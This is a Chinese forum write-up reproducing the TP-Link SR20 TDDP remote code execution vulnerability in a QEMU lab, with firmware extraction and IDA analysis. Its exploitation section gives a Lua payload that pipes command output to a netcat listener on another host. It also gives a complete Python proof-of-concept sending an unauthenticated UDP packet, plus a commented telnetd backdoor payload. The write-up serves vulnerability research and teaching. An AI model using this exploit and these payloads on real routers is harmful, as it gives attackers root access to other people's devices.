首页
论坛
课程
招聘
[原创]【物联网漏洞复现】TP-Link SR20 本地网络远程代码执行漏洞
2020-11-17 18:03 4368

[原创]【物联网漏洞复现】TP-Link SR20 本地网络远程代码执行漏洞

2020-11-17 18:03
4368

TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器,此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令,该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中,TDDP 是 TP-Link 申请了专利的调试协议,基于 UDP 运行在 1040 端口。

 

TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为 0x31 时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞。

01搭建环境

以下所有操作都在Ubuntu LTS 18.04系统下进行

安装编译QEMU

Qemu 是纯以GPL许可证分发源码的模拟处理器,在GNU/Linux平台上使用广泛。几乎可以模拟任何硬件设备。

 

从 QEMU 官网下载最新稳定版源码来编译安装

1
2
3
4
5
wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码
tar xvJf qemu-4.0.0-rc1.tar.xz #解压源码压缩包
cd qemu-4.0.0-rc1 # 进入源码目录
 ./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 编译前配置
make # 编译

如果 configure 时没有指定 target-list参数,make 会编译针对所有平台的 QEMU 导致会耗很长很长的时间,因此可以选择只编译 ARM 版的 QEMU 来加快编译速度,至于选择 ARM 版是因为 TP-Link SR20 存在漏洞的固件基于是 ARM 架构,下文中会看到。

 

编译完成后安装 checkinstall 来生成 deb 包

1
2
sudo apt-get install checkinstall # 安装 checkinstall
sudo checkinstall make install    # 使用 checkinstall 生成 deb 包并安装

如果不使用 checkinstall,直接sudo make install的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。

 

安装完成后可以看到安装的版本
图片描述

安装 Binwalk

Binwalk 是一款文件的分析工具,旨在协助研究人员对文件进行分析,提取及逆向工程

1
2
3
4
5
sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
python setup.py install
sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖

更详细的安装方法可以查看 Binwalk 的 GitHub wiki

 

https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md

 

最后运行deps.sh安装依赖时,cramfstools 编译出错导致安装失败,可以不用理会。

固件提取

从 TP-Link SR20 设备官网下载固件:https://www.tp-link.com/us/support/download/sr20/#Firmware

 

选择SR20(US)_V1_180518进行下载解压得到tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin固件。

 

图片描述
使用binwalk查看固件信息

 

$binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin

 

图片描述
binwalk 会在当前目录的 _+bin文件名 目录下生成提取出来的固件里的所有内容,进入到该目录

 

图片描述
squashfs-root 目录就是我们需要的固件文件系统

 

图片描述
在该文件系统目录下查找存在漏洞的 tddp 文件并查看文件类型可以看到该文件是一个 ARM 架构的小端32 位 ELF 文件。

 

最高有效位 MSB 对应大端,最低有效位 LSB对应小端。

 

https://www.cnblogs.com/endure/p/3425140.html(相关知识)

 

图片描述
经过测试发现通过这种方式运行 TDDP 程序并不能触发该漏洞,因此需要搭建完整的 ARM QEMU 虚拟机环境。

 

#搭建ARM QEMU虚拟环境

 

从 Debian 官网(https://people.debian.org/~aurel32/qemu/armhf/)下载 QEMU 需要的 Debian ARM 系统的三个文件:

1
2
3
· debian_wheezy_armhf_standard.qcow2 2013-12-17
· 00:04 229Minitrd.img-3.2.0-4-vexpress 2013-12-17 01:57
 · 2.2Mvmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M

把以上三个文件放在同一目录下,并执行以下命令

1
2
3
sudo tunctl -t tap0 -u iot  # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡,iot为本机名字
sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

虚拟机启动成功后会提示登陆

 

输入用户名和密码:root登录

配置网卡IP

1
ifconfig eth0 10.10.10.2/24

图片描述
此时 QEMU 虚拟机可以与宿主机进行网络通信

 

现在需要把从固件中提取出的文件系统打包后上传到 QEMU 虚拟机中

 

压缩固件文件系统目录下的整个文件

1
tar -cjpf squashfs-root.tar.bz2 squashfs-root/

图片描述
使用 Python 搭建简易 HTTP Server

1
python -m SimpleHTTPServer

图片描述
在 QEMU 虚拟机中下载上面打包好的文件

1
wget http://10.10.10.1:8000/squashfs-root.tar.bz2

图片描述
使用 chroot 切换根目录固件文件系统

1
2
3
4
tar -xjf squashfs-root.tar.bz2
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh

切换根目录后执行新目录结构下的 sh shell

使用 chroot 后,系统读取的是新根下的目录和文件,也就是固件的目录和文件 chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录

 

图片描述

搭建 TFTP Server

在宿主机安装 atftpd 搭建 TFTP 服务

1
sudo apt install atftpd

编辑 /etc/default/atftpd 文件,USE_INETD=true 改为 USE_INETD=false
修改 /srv/tftp 为 /tftpboot
图片描述
执行命令

1
2
3
4
mkdir /tftpboot
chmod 777 /tftpboot
sudo systemctl start atftpd # 启动 atftpd
sudo systemctl status atftpd # 查看 atftpd 服务状态

环境搭建完毕

02TDDP协议漏洞的逆向研究

使用IDA对该协议漏洞进行逆向分析。

过程

使用binwalk将固件中的文件提取出来,将squashfs-root下的/usr/bin目录下的tddp程序放入IDA中加载。

 

通过反编译分析,找到main函数为sub_971C,在main函数中,可推测sub_16C90函数是用来获取v4值的,继续看下面的函数,可预估函数sub_936C是关键函数。
图片描述

 

跟进sub_936C函数,在18行出可以看到输出了tddp task start,确认进入到了关键函数中,可以看到,在20到23行应该是进行了内存初始化以及socket的初始化,将套接字绑定到了1040端口。

 

图片描述
接着看该函数的后边,看到在55行if处判定为真时,使用了函数sub_16418,猜测该函数是关键函数。

 

图片描述
跟进该函数,在32行处发现使用了recvfrom函数,该函数是从套接口上接收数据,并捕获数据发送源的地址。且在poc中也使用了该函数从套接口接收数据,所以判定正确进入了关键函数。
图片描述
接着看在32行变量v18使用recvfrom接收了套接口的数据,从(char*)v14的45083偏移处取的数据。

 

继续看后边,在取得套接口的数据存在v18后,变量v2也取的地址v20,v20取(char)v14的45083偏移处取的数据,从recvfrom函数猜测(char)v14的45083偏移处取的数据是对应TDDP协议的第一个字节。

 

根据TDDP协议存在两个版本,该协议规定第一个字节处为version,即版本。而该协议存在漏洞的版本是version为1的时候,不需要进行身份的认证即可对设备进行调试。得出在38行对v2,即TDDP协议第一个字节处的version进行判断是否为1时,判断正确后下边执行的函数中存在关键函数。

 

此处猜测sub_9340是关键函数。

 

图片描述
跟进函数sub_9340,发现是使用了gettimeofday函数来获取当前时间,则判定该函数非关键函数,退回到上一函数sub_16418,猜测函数sub_15E74为关键函数。
图片描述

 

跟进sub_15E74函数,发现在该函数中输出了receive CMD_AUTO_TEST,猜测在该函数中调用了命令执行,判定进入了正确的关键函数。

 

图片描述
本来switch下的每一个case都应该查看分析的,但因为知道了存在漏洞的case在0x31处,所以直接分析case 0x31处的情况。

 

在85行就break了,所以可以锁定关键函数步骤出现在sub_A580函数处。

 

图片描述
跟进sub_A580函数,在变量中可以看到v8从a1,v19获取了(char*)v8的45083偏移处取的数据,即从套接口获取的数据

 

图片描述
继续看下边,在57行处,使用了sscanf对v19,即套机口得到的数据,用分号进行了分隔,再传入s与v10中。

 

在65行处,使用了inet_ntoa函数,猜测此处即是获取了ip地址再用点隔成字符串格式给了v16。

 

紧接着下边函数sub_91DC就使用了tftp从s和v16拼接成的数据作为地址进行了连接和下载相应文件的操作。

 

将下载的文件名字与/tmp进行拼接,变为/tmp/下载文件名存入&name中。

 

图片描述
接着在83行处,使用luaL_loadfile从&name处加载调用了lua脚本。

 

图片描述
进入sub_91DC函数进行查看,通过分析,可以确定此处使用了execve执行了命令,可确定就是此处可构成命令执行。

 

图片描述
至此,TDDP协议漏洞分析结束。

03 漏洞复现

在 atftp 的根目录 /tftpboot 下写入 payload 文件。因此处无tftpboot目录,所以直接在根目录下创建一个tftpboot目录,以便后续操作。

 

在tftpboot目录下写入payload文件。payload 文件内容为:

1
2
3
4
5
function config_test(config)
 
os.execute("id | nc 10.10.10.1 1337")
 
end

图片描述
将poc拷贝进tftpboot目录下

 

Poc代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/python3
 
# Copyright 2019 Google LLC.
# SPDX-License-Identifier: Apache-2.0
 
# Create a file in your tftp directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Execute script as poc.py remoteaddr filename
 
import sys
import binascii
import socket
 
port_send = 1040
port_receive = 61000
 
tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00
 
tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])
 
sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))
 
# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
argument = "%s;arbitrary" % sys.argv[2]
packet = packet + argument.encode()
sock_send.sendto(packet, (sys.argv[1], port_send))
sock_send.close()
 
response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)

复现步骤为:

 

1.QEMU 虚拟机中启动 tddp 程序
图片描述

 

2.宿主机使用 NC 监听端口

 

图片描述
3.执行 POC
图片描述

 

获取命令执行结果
图片描述


[公告] 2021 KCTF 春季赛 防守方征题火热进行中!

收藏
点赞1
打赏
分享
最新回复 (5)
雪    币: 213
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
菜鸟学IoT 活跃值 2021-1-19 12:22
2
0
很不错,我也刚复现完这个洞
雪    币:
活跃值: 活跃值 (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DuckRui 活跃值 2021-4-1 21:39
3
0
菜鸟学IoT 很不错,我也刚复现完这个洞
您好,请问SR20这个设备的漏洞固件您能提供一下吗
雪    币:
活跃值: 活跃值 (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DuckRui 活跃值 2021-4-1 21:47
4
0
楼主您好,请问SR20这个设备的漏洞固件您能提供一下吗,我在网上没找到这个版本的固件= =
雪    币:
活跃值: 活跃值 (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DuckRui 活跃值 2021-4-1 21:49
5
0
菜鸟学IoT 很不错,我也刚复现完这个洞
最后于 2021-4-1 21:49 被DuckRui编辑 ,原因:
雪    币:
活跃值: 活跃值 (84)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
DuckRui 活跃值 2021-4-1 21:52
6
0
啊打扰了,刚回复完就找到了= =
游客
登录 | 注册 方可回帖
返回